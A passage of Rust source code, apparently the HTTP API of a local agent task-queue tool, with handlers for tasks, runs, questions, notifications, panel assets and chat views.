6807 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6808 }
6809 }
6810 judged = seen;
6811 }
6812 let force = body.force;
6813 mutate(ui, id, move |t| {
6814 if !force && body.instruction != t.instruction {
6815 match &judged {
6816 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6817 _ => {
6818 anyhow::bail!("the task changed while it was being checked; repeat the request")
6819 }
6820 }
6821 }
6822 t.edit(body.title.clone(), body.instruction.clone())
6823 })
6824 .await
6825}
6826
6827async fn queue_done(
6835 State(ui): State<Arc<Ui>>,
6836 Path(id): Path<String>,
6837) -> ApiResult<Json<TaskView>> {
6838 let home = ui.home.clone();
6839 mutate(ui, id, move |t| {
6840 t.succeed();
6841 crate::daemon::supersede_prior_runs(t, &home);
6849 Ok(())
6850 })
6851 .await
6852}
6853
6854async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6862 blocking(move || {
6863 let id = resolve_task(&ui.queue, &id)?;
6864 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6865 ui.queue
6866 .remove(&id, in_flight, &ui.questions)
6867 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6868 Ok(StatusCode::NO_CONTENT)
6869 })
6870 .await
6871}
6872
6873async fn mutate(
6882 ui: Arc<Ui>,
6883 id: String,
6884 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6885) -> ApiResult<Json<TaskView>> {
6886 blocking(move || {
6887 let id = resolve_task(&ui.queue, &id)?;
6888 let _claim = ui.queue.claim(&id).map_err(|e| {
6893 ApiError::conflict(format!(
6894 "{e:#} - a daemon is running this task, so it cannot be \
6895 changed from here yet; wait until it is released, then retry"
6896 ))
6897 })?;
6898 let mut task = ui.queue.get(&id)?;
6899 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6900 Ok(dup) => ApiError::conflict(dup.render(
6901 "Nothing was saved. If it is not a duplicate, repeat the request with \
6902 \"force\": true.",
6903 )),
6904 Err(e) => ApiError::bad_request_from(e),
6905 })?;
6906 ui.queue.put(&mut task)?;
6907 Ok(Json(TaskView::from(task)))
6908 })
6909 .await
6910}
6911
6912async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6917 ui.monitor.ensure_worker(&ui);
6918 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
6919 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6920
6921 let state = Arc::clone(&ui);
6922 tokio::spawn(async move {
6923 let initial_revisions = {
6924 let guard = match state.monitor.latest.lock() {
6925 Ok(g) => g,
6926 Err(p) => p.into_inner(),
6927 };
6928 guard.as_ref().map(|(r, _)| *r)
6929 };
6930 if let Some(revisions) = initial_revisions {
6931 let initial_payload = serde_json::json!({
6932 "queue_rev": revisions.0,
6933 "runs_rev": revisions.1,
6934 "questions_rev": revisions.2,
6935 "talks_rev": revisions.3,
6936 "notifications_rev": revisions.4,
6937 "loop_rev": revisions.5,
6938 });
6939
6940 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
6941 if tx.send(event).await.is_err() {
6942 return;
6943 }
6944 }
6945 }
6946
6947 loop {
6948 match tokio::select! {
6949 _ = tx.closed() => return,
6950 value = broadcast_rx.recv() => value,
6951 } {
6952 Ok(notif) => {
6953 let Ok(event) = Event::default().event("change").json_data(notif.payload)
6954 else {
6955 break;
6956 };
6957 if tx.send(event).await.is_err() {
6958 break;
6959 }
6960 }
6961 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
6962 let revs = {
6963 let guard = match state.monitor.latest.lock() {
6964 Ok(g) => g,
6965 Err(p) => p.into_inner(),
6966 };
6967 guard.as_ref().map(|(r, _)| *r)
6968 };
6969 if let Some(revs) = revs {
6970 let payload = serde_json::json!({
6971 "queue_rev": revs.0,
6972 "runs_rev": revs.1,
6973 "questions_rev": revs.2,
6974 "talks_rev": revs.3,
6975 "notifications_rev": revs.4,
6976 "loop_rev": revs.5,
6977 });
6978 if let Ok(event) = Event::default().event("change").json_data(payload) {
6979 if tx.send(event).await.is_err() {
6980 break;
6981 }
6982 }
6983 }
6984 }
6985 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
6986 break;
6987 }
6988 }
6989 }
6990 });
6991
6992 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6993 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6994}
6995
6996fn run_ids(runs: &FsPath) -> Vec<String> {
7002 let mut ids: Vec<String> = std::fs::read_dir(runs)
7003 .into_iter()
7004 .flatten()
7005 .flatten()
7006 .filter(|e| e.path().join("run.json").is_file())
7007 .map(|e| e.file_name().to_string_lossy().into_owned())
7008 .collect();
7009 ids.sort_unstable_by(|a, b| b.cmp(a));
7011 ids
7012}
7013
7014fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7016 let path = runs.join(id).join("run.json");
7017 let body =
7018 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7019 let state: RunState =
7020 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7021 run::migrate_schema(state)
7026}
7027
7028#[must_use]
7036pub fn runs_unreadable(runs: &FsPath) -> usize {
7037 run_ids(runs)
7038 .into_iter()
7039 .filter(|id| read_run(runs, id).is_err())
7040 .count()
7041}
7042
7043fn plain_record_id(id: &str) -> bool {
7044 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7045}
7046
7047fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7049 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7050 return Ok(id.to_owned());
7051 }
7052 pick(run_ids(runs), id, "run")
7053}
7054
7055fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7057 if plain_record_id(id) && queue.path_of(id).is_file() {
7058 return Ok(id.to_owned());
7059 }
7060 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7061 pick(ids, id, "task")
7062}
7063
7064#[derive(Debug, Serialize)]
7075struct QuestionView {
7076 choice_effects: std::collections::BTreeMap<String, String>,
7077 record_revision: String,
7078 #[serde(flatten)]
7079 question: Question,
7080 detail_md: Vec<md::Node>,
7081 posting_view: Option<PostingView>,
7082 thread_bodies_md: Vec<Vec<md::Node>>,
7084 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7087 waiting_on_agent: bool,
7097 holder: Option<&'static str>,
7101 deputies_enabled: bool,
7105 deputy_exhausted: bool,
7108 text_delivery: crate::question_delivery::Availability,
7109 run_is_task: bool,
7112 origin_chat: Option<String>,
7115 origin_chat_closed: bool,
7117 can_consult_chat: bool,
7119}
7120
7121#[derive(Debug, Serialize)]
7122struct PostingView {
7123 before_md: Vec<md::Node>,
7124 after_md: Vec<md::Node>,
7125 fields: Vec<crate::github_text::ComparisonView>,
7126}
7127
7128fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7129 let comparison = question.posting_comparison.as_ref()?;
7130 if !comparison.matches_detail(&question.detail) {
7131 return None;
7132 }
7133 let mut ids = std::collections::BTreeSet::new();
7134 if comparison.fields.is_empty()
7135 || comparison
7136 .fields
7137 .iter()
7138 .flat_map(|f| &f.pairs)
7139 .any(|p| !ids.insert(p.id))
7140 || comparison
7141 .fields
7142 .iter()
7143 .flat_map(|f| &f.original_triggers)
7144 .any(|t| !ids.insert(t.id))
7145 {
7146 return None;
7147 }
7148 let fields = comparison
7149 .fields
7150 .iter()
7151 .map(|f| f.view(comparison.excerpt))
7152 .collect::<Option<Vec<_>>>()?;
7153 Some(PostingView {
7154 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7155 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7156 fields,
7157 })
7158}
7159
7160impl QuestionView {
7161 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7165 let base = md::ImageBase::QuestionPanel {
7166 id: question.id.clone(),
7167 };
7168 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7169 Self {
7170 choice_effects: question
7171 .choices
7172 .iter()
7173 .filter_map(|c| {
7174 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7175 })
7176 .collect(),
7177 record_revision: question_record_revision(&question),
7178 detail_md: md::to_nodes(&question.detail, &base),
7179 posting_view: posting_view(&question, &base),
7180 thread_bodies_md: question
7181 .thread
7182 .iter()
7183 .map(|t| md::to_nodes(&t.body, &base))
7184 .collect(),
7185 thread_notes_md: question
7186 .thread
7187 .iter()
7188 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7189 .collect(),
7190 deputy_exhausted: store.deputy_exhausted(&question),
7191 waiting_on_agent: question.waiting_on_agent(),
7192 holder,
7193 deputies_enabled: deputies_enabled(cfg, &question),
7194 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7195 run_is_task: question.run_names_task(),
7196 origin_chat: None,
7197 origin_chat_closed: false,
7198 can_consult_chat: false,
7199 question,
7200 }
7201 }
7202
7203 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
7205 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7206 self.can_consult_chat = consult.is_some();
7207 let talk =
7208 consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
7209 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7210 self.origin_chat = talk.map(|t| t.id);
7211 self
7212 }
7213}
7214
7215fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7219 Config::discover(repo, None).ok().map(|(c, _)| c)
7220}
7221
7222fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7224 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7225}
7226
7227fn question_views(
7230 qs: Vec<Question>,
7231 store: &ask::Questions,
7232 load: impl FnOnce() -> Option<Config>,
7233) -> Vec<QuestionView> {
7234 if qs.is_empty() {
7235 return Vec::new();
7236 }
7237 let cfg = load();
7238 qs.into_iter()
7239 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7240 .collect()
7241}
7242
7243fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7253 if !q.status.open() {
7254 return None;
7255 }
7256 if q.cwd.is_none()
7257 && q.deputy.is_none()
7258 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7259 {
7260 return crate::deputy::kind_of(q).map(|_| "nobody");
7261 }
7262 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7263 Some(_) if q.deputy.is_some() => "deputy",
7264 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7265 Some(_) => "asker",
7266 None => "nobody",
7267 })
7268}
7269
7270async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7276 blocking(move || {
7277 let questions = ui.questions.list();
7278 let (tasks, talks) = question_origin_inputs(&ui, &questions)?;
7279 Ok(Json(
7280 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7281 .into_iter()
7282 .map(|view| view.with_origin(&tasks, &talks))
7283 .collect(),
7284 ))
7285 })
7286 .await
7287}
7288
7289async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7291 blocking(move || {
7292 Ok(Json(question_views(
7293 ui.questions.list(),
7294 &ui.questions,
7295 || deputy_config(&ui.repo),
7296 )))
7297 })
7298 .await
7299}
7300
7301fn question_record_revision(question: &Question) -> String {
7302 use std::hash::{Hash as _, Hasher as _};
7303 let mut hash = std::hash::DefaultHasher::new();
7304 serde_json::to_vec(question)
7305 .expect("serializable question")
7306 .hash(&mut hash);
7307 format!("{:016x}", hash.finish())
7308}
7309
7310#[derive(Serialize)]
7311struct QuestionOriginView {
7312 id: String,
7313 record_revision: String,
7314 origin_chat: Option<String>,
7315 origin_chat_closed: bool,
7316 can_consult_chat: bool,
7317}
7318
7319async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7320 blocking(move || {
7321 let questions = ui.questions.list();
7322 let (tasks, talks) = question_origin_inputs(&ui, &questions)?;
7323 Ok(Json(
7324 questions
7325 .into_iter()
7326 .map(|question| {
7327 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7328 let can_consult_chat = consult.is_some();
7329 let talk = consult
7330 .or_else(|| crate::consult::associated_talk(&tasks, &talks, &question));
7331 QuestionOriginView {
7332 record_revision: question_record_revision(&question),
7333 id: question.id,
7334 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7335 origin_chat: talk.map(|talk| talk.id),
7336 can_consult_chat,
7337 }
7338 })
7339 .collect(),
7340 ))
7341 })
7342 .await
7343}
7344
7345fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<(Vec<Task>, Vec<Talk>)> {
7349 fn task_for_run(
7350 ui: &Ui,
7351 index: &mut Option<Vec<Arc<TaskRelation>>>,
7352 run: &str,
7353 loaded: &HashMap<String, Task>,
7354 ) -> ApiResult<Option<Task>> {
7355 if !plain_record_id(run) {
7356 return Ok(None);
7357 }
7358 if index.is_none() {
7359 *index = Some(ui.indexed_tasks()?);
7360 }
7361 Ok(index
7362 .as_ref()
7363 .expect("loaded index")
7364 .iter()
7365 .find(|task| task.runs.iter().any(|id| id == run))
7366 .and_then(|task| {
7367 loaded
7368 .get(&task.id)
7369 .cloned()
7370 .or_else(|| ui.queue.get(&task.id).ok())
7371 })
7372 .filter(|task| task.runs.iter().any(|id| id == run)))
7373 }
7374 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7375 plain_record_id(id)
7376 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7377 .flatten()
7378 .filter(|task| task.id == id)
7379 };
7380 let mut index = None;
7381 let mut tasks = HashMap::new();
7382 let mut talks = HashMap::new();
7383 for question in questions {
7384 let mut current = if question.node == crate::conduct::NODE {
7385 direct_task(&question.run, &tasks)
7386 } else {
7387 task_for_run(ui, &mut index, &question.run, &tasks)?
7388 };
7389 let mut seen = HashSet::new();
7390 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7391 let Some(task) = current.take() else {
7392 break;
7393 };
7394 if !seen.insert(task.id.clone()) {
7395 break;
7396 }
7397 let chat = task.chat_talk().map(str::to_owned);
7398 let followup = task.followup.clone();
7399 tasks.insert(task.id.clone(), task);
7400 if let Some(chat) = chat {
7401 if plain_record_id(&chat)
7402 && !talks.contains_key(&chat)
7403 && let Ok(talk) = ui.talks.get(&chat)
7404 {
7405 talks.insert(chat, talk);
7406 }
7407 break;
7408 }
7409 let Some(followup) = followup else {
7410 break;
7411 };
7412 current = match followup.origin_task {
7413 Some(id) => direct_task(&id, &tasks),
7414 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7415 };
7416 }
7417 }
7418 let mut tasks: Vec<Task> = tasks.into_values().collect();
7419 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7420 Ok((tasks, talks.into_values().collect()))
7421}
7422
7423async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7426 blocking(move || {
7427 let items = ui.notices.list();
7428 let unread = items.iter().filter(|n| n.unread()).count();
7429 let items: Vec<_> = items
7430 .into_iter()
7431 .map(|n| {
7432 let question = crate::notices::answerable_question(&n, &ui.questions);
7433 let mut item = serde_json::to_value(n)?;
7434 item["answerable_question"] = serde_json::json!(question);
7435 Ok(item)
7436 })
7437 .collect::<anyhow::Result<_>>()?;
7438 Ok(Json(
7439 serde_json::json!({ "unread": unread, "items": items }),
7440 ))
7441 })
7442 .await
7443}
7444
7445fn notice_error(e: anyhow::Error) -> ApiError {
7446 ApiError::not_found(format!("{e:#}"))
7449}
7450
7451async fn notification_read(
7453 State(ui): State<Arc<Ui>>,
7454 Path(id): Path<String>,
7455) -> ApiResult<Json<Notice>> {
7456 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7457}
7458
7459async fn notification_dismiss(
7461 State(ui): State<Arc<Ui>>,
7462 Path(id): Path<String>,
7463) -> ApiResult<Json<Notice>> {
7464 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7465}
7466
7467async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7469 blocking(move || {
7470 let changed = ui.notices.mark_all_read()?;
7471 Ok(Json(serde_json::json!({ "marked": changed })))
7472 })
7473 .await
7474}
7475
7476#[derive(Debug, Default, Deserialize)]
7482#[serde(default, deny_unknown_fields)]
7483struct NewAnswer {
7484 choice: Option<String>,
7485 text: Option<String>,
7486}
7487
7488async fn question_answer(
7489 State(ui): State<Arc<Ui>>,
7490 Path(id): Path<String>,
7491 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7492) -> ApiResult<Json<QuestionView>> {
7493 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7494 let answer = match (body.choice, body.text) {
7495 (Some(c), None) => Answer::Choice(c),
7496 (None, Some(t)) => Answer::Text(t),
7497 (Some(_), Some(_)) => {
7498 return Err(ApiError::bad_request(
7499 "send either `choice` or `text`, not both",
7500 ));
7501 }
7502 (None, None) => {
7503 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7504 }
7505 };
7506
7507 blocking(move || {
7508 let id = resolve_question(&ui.questions, &id)?;
7509 let q = ui
7510 .questions
7511 .get(&id)
7512 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7513 if !q.status.open() {
7514 return Err(ApiError::conflict(format!(
7518 "question {} is already {}",
7519 q.short(),
7520 q.status.as_str()
7521 )));
7522 }
7523 let cfg = deputy_config(&ui.repo);
7527 let (q, ()) = ui
7528 .questions
7529 .update(&q.id, |r| r.answer(answer))
7530 .map_err(ApiError::bad_request_from)?;
7531 let (tasks, talks) =
7532 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7533 Ok(Json(
7534 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
7535 ))
7536 })
7537 .await
7538}
7539
7540fn question_text_error(e: anyhow::Error) -> ApiError {
7542 let reason = e
7543 .downcast_ref::<crate::question_delivery::TextUnavailable>()
7544 .map(|e| e.reason);
7545 let error = ApiError::bad_request_from(e);
7546 if let Some(reason) = reason {
7547 ApiError {
7548 text_reason: Some(reason),
7549 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7550 }
7551 } else {
7552 error
7553 }
7554}
7555
7556#[derive(Debug, Deserialize)]
7558#[serde(deny_unknown_fields)]
7559struct NewSay {
7560 body: String,
7561}
7562
7563async fn question_say(
7573 State(ui): State<Arc<Ui>>,
7574 Path(id): Path<String>,
7575 body: std::result::Result<Json<NewSay>, JsonRejection>,
7576) -> ApiResult<Json<QuestionView>> {
7577 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7578 blocking(move || {
7579 let id = resolve_question(&ui.questions, &id)?;
7580 let q = ui
7581 .questions
7582 .get(&id)
7583 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7584 if !q.status.open() {
7585 return Err(ApiError::conflict(format!(
7589 "question {} is already {}",
7590 q.short(),
7591 q.status.as_str()
7592 )));
7593 }
7594 let cfg = deputy_config(&ui.repo);
7597 let (q, ()) = ui
7598 .questions
7599 .update(&q.id, |r| {
7600 if body.body.trim().is_empty() {
7601 return r.say(body.body);
7602 }
7603 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7604 r.say(body.body)
7605 })
7606 .map_err(question_text_error)?;
7607 let (tasks, talks) =
7608 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7609 Ok(Json(
7610 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
7611 ))
7612 })
7613 .await
7614}
7615
7616async fn question_consult(
7625 State(ui): State<Arc<Ui>>,
7626 Path(id): Path<String>,
7627) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7628 let (view, reclaimed) = blocking({
7629 let ui = Arc::clone(&ui);
7630 move || {
7631 let id = resolve_question(&ui.questions, &id)?;
7632 let q = ui
7633 .questions
7634 .get(&id)
7635 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7636 if !q.status.open() {
7637 return Err(ApiError::conflict(format!(
7638 "question {} is already {}",
7639 q.short(),
7640 q.status.as_str()
7641 )));
7642 }
7643 let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7644 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7645 return Err(ApiError::conflict(format!(
7646 "question {} has no chat to ask",
7647 q.short()
7648 )));
7649 };
7650 let cfg = if q.consult.is_none() {
7654 Some(Config::discover(&talk.repo, None)?.0)
7655 } else {
7656 None
7657 };
7658 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7659 let claim = if fresh {
7660 match ui.begin_queued_talk_turn(&talk.id)? {
7661 Some(turn_guard) => {
7662 let talk = ui.talks.get(&talk.id)?;
7663 let cfg = match cfg {
7664 Some(cfg) => cfg,
7665 None => Config::discover(&talk.repo, None)?.0,
7666 };
7667 Some((talk, cfg, turn_guard))
7668 }
7669 None => None,
7670 }
7671 } else {
7672 None
7673 };
7674 let q = ui.questions.get(&q.id)?;
7675 let cfg = deputy_config(&ui.repo);
7676 let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
7677 Ok((view, claim))
7678 }
7679 })
7680 .await?;
7681 if let Some((talk, cfg, turn_guard)) = reclaimed {
7682 let talks = ui.talks.clone();
7683 let id = talk.id.clone();
7684 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7685 }
7686 Ok((StatusCode::ACCEPTED, Json(view)))
7687}
7688
7689fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7691 if plain_record_id(id) && store.path_of(id).is_file() {
7692 return Ok(id.to_owned());
7693 }
7694 pick(
7695 store.list().into_iter().map(|q| q.id).collect(),
7696 id,
7697 "question",
7698 )
7699}
7700
7701async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7716 blocking(move || {
7717 let id = resolve_question(&ui.questions, &id)?;
7718 let Some(html) = ui.questions.panel_html(&id) else {
7719 return Err(ApiError::not_found(format!("question {id} has no panel")));
7720 };
7721 Ok(panel_response(
7722 "text/html; charset=utf-8",
7723 false,
7724 html.into_bytes(),
7725 ))
7726 })
7727 .await
7728}
7729
7730async fn question_asset(
7758 State(ui): State<Arc<Ui>>,
7759 Path((id, name)): Path<(String, String)>,
7760) -> ApiResult<Response> {
7761 if !crate::ask::valid_asset_name(&name) {
7764 return Err(ApiError::bad_request(format!(
7765 "`{name}` is not a usable asset name"
7766 )));
7767 }
7768 blocking(move || {
7769 let id = resolve_question(&ui.questions, &id)?;
7770 let asset = ui
7771 .questions
7772 .panel_asset(&id, &name)
7773 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7774 let Some(bytes) = asset else {
7775 return Err(ApiError::not_found(format!(
7776 "question {id} has no asset `{name}`"
7777 )));
7778 };
7779 Ok(panel_response(
7780 asset_content_type(&name),
7781 is_svg(&name),
7782 bytes,
7783 ))
7784 })
7785 .await
7786}
7787
7788fn asset_content_type(name: &str) -> &'static str {
7801 match extension(name).as_deref() {
7802 Some("png") => "image/png",
7803 Some("jpg" | "jpeg") => "image/jpeg",
7804 Some("gif") => "image/gif",
7805 Some("webp") => "image/webp",
7806 Some("svg") => "image/svg+xml",
7807 Some("css") => "text/css; charset=utf-8",
7808 Some("txt") => "text/plain; charset=utf-8",
7809 _ => "application/octet-stream",
7810 }
7811}
7812
7813fn is_svg(name: &str) -> bool {
7816 extension(name).as_deref() == Some("svg")
7817}
7818
7819fn extension(name: &str) -> Option<String> {
7821 name.rsplit_once('.')
7822 .map(|(_, ext)| ext.to_ascii_lowercase())
7823}
7824
7825fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7842 let mut res = (
7843 [
7844 (header::CONTENT_TYPE, content_type),
7845 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7846 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7847 (header::REFERRER_POLICY, "no-referrer"),
7848 ],
7849 body,
7850 )
7851 .into_response();
7852 if download {
7853 res.headers_mut().insert(
7854 header::CONTENT_DISPOSITION,
7855 HeaderValue::from_static("attachment"),
7856 );
7857 }
7858 res
7859}
7860
7861#[derive(Debug, Serialize)]
7867struct TalkView {
7868 #[serde(flatten)]
7869 talk: Talk,
7870 turn_bodies_md: Vec<Vec<md::Node>>,
7871 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7873 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7874 thinking: bool,
7882 context: talk::ContextUsage,
7886 operator_name: Option<String>,
7889 persona_name: Option<String>,
7891 persona_avatar: String,
7894 operator_avatar: String,
7896 magi_avatar: String,
7897}
7898
7899impl TalkView {
7900 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7903 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7904 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7905 }
7906
7907 fn with_config(
7910 talk: Talk,
7911 thinking: bool,
7912 cfg: Option<&Config>,
7913 home: &FsPath,
7914 cache: &id_links::IndexCache,
7915 ) -> Self {
7916 let references = cache.for_talk(home, &talk);
7917 Self::with_references(talk, thinking, cfg, home, &references)
7918 }
7919
7920 fn with_references(
7921 mut talk: Talk,
7922 thinking: bool,
7923 cfg: Option<&Config>,
7924 home: &FsPath,
7925 references: &id_links::IdIndex,
7926 ) -> Self {
7927 let snapshot = talk.clone();
7929 for (index, turn) in talk.turns.iter_mut().enumerate() {
7930 let original = &snapshot.turns[index];
7931 if turn.messages.is_empty() {
7932 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7933 turn.messages.push(talk::Message {
7934 sender: Some(talk::Sender::Magi),
7935 body: original.body.clone(),
7936 display: Some(display),
7937 attachments: original.attachments.clone(),
7938 reply: None,
7939 });
7940 }
7941 } else {
7942 for (i, message) in turn.messages.iter_mut().enumerate() {
7943 message.display =
7944 talk::notice_display(&snapshot, original, original.messages.get(i));
7945 if message.display.is_some() {
7946 message.sender = Some(talk::Sender::Magi);
7947 }
7948 }
7949 }
7950 }
7951 for message in &mut talk.pending_messages {
7952 if message.display.is_none()
7953 && (message.sender == Some(talk::Sender::Magi)
7954 || snapshot
7955 .completion_notices
7956 .iter()
7957 .any(|r| r.notice == message.body))
7958 {
7959 message.display = crate::prompt::legacy_notice_display(&message.body);
7960 if message.display.is_some() {
7961 message.sender = Some(talk::Sender::Magi);
7962 }
7963 }
7964 }
7965 if talk.pending_messages.is_empty()
7966 && snapshot
7967 .completion_notices
7968 .iter()
7969 .any(|r| r.notice == talk.pending)
7970 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7971 {
7972 talk.pending_messages.push(talk::Message {
7973 sender: Some(talk::Sender::Magi),
7974 display: Some(display),
7975 body: talk.pending.clone(),
7976 attachments: talk.pending_attachments.clone(),
7977 reply: None,
7978 });
7979 }
7980 let excerpts: Vec<Vec<Option<String>>> = talk
7981 .turns
7982 .iter()
7983 .map(|turn| {
7984 turn.messages
7985 .iter()
7986 .map(|m| {
7987 m.display
7988 .as_ref()
7989 .map(|d| d.facts.chars().take(240).collect())
7990 })
7991 .collect()
7992 })
7993 .collect();
7994 for turn in &mut talk.turns {
7995 let provenance = talk::sender(turn, None);
7996 turn.sender = Some(provenance);
7997 for message in &mut turn.messages {
7998 message.sender = Some(message.sender.unwrap_or(provenance));
7999 }
8000 }
8001 let senders: Vec<Vec<talk::Sender>> = talk
8003 .turns
8004 .iter()
8005 .map(|turn| {
8006 if turn.messages.is_empty() {
8007 vec![talk::sender(turn, None)]
8008 } else {
8009 turn.messages
8010 .iter()
8011 .map(|m| talk::sender(turn, Some(m)))
8012 .collect()
8013 }
8014 })
8015 .collect();
8016 for reply in talk
8017 .turns
8018 .iter_mut()
8019 .flat_map(|t| t.messages.iter_mut())
8020 .chain(talk.pending_messages.iter_mut())
8021 .filter_map(|m| m.reply.as_mut())
8022 {
8023 if let Some(Some(excerpt)) = excerpts
8024 .get(reply.target.turn)
8025 .and_then(|ms| ms.get(reply.target.message))
8026 {
8027 reply.excerpt = excerpt.clone();
8028 reply.sender = Some(talk::Sender::Magi);
8029 }
8030 if reply.sender.is_none() {
8031 reply.sender = senders
8032 .get(reply.target.turn)
8033 .and_then(|messages| messages.get(reply.target.message))
8034 .copied();
8035 }
8036 }
8037 let context = talk::context_usage(&talk, cfg);
8038 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8039 .turns
8040 .iter()
8041 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8042 .collect();
8043 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8044 .turns
8045 .iter()
8046 .map(|turn| {
8047 if turn.messages.is_empty() {
8048 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8049 } else {
8050 turn.messages
8051 .iter()
8052 .map(|message| {
8053 notice_markdown(
8054 message.sender.unwrap_or(talk::Sender::Operator),
8055 &message.body,
8056 message.display.as_ref(),
8057 )
8058 })
8059 .collect()
8060 }
8061 })
8062 .collect();
8063 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8064 .pending_messages
8065 .iter()
8066 .map(|message| {
8067 notice_markdown(
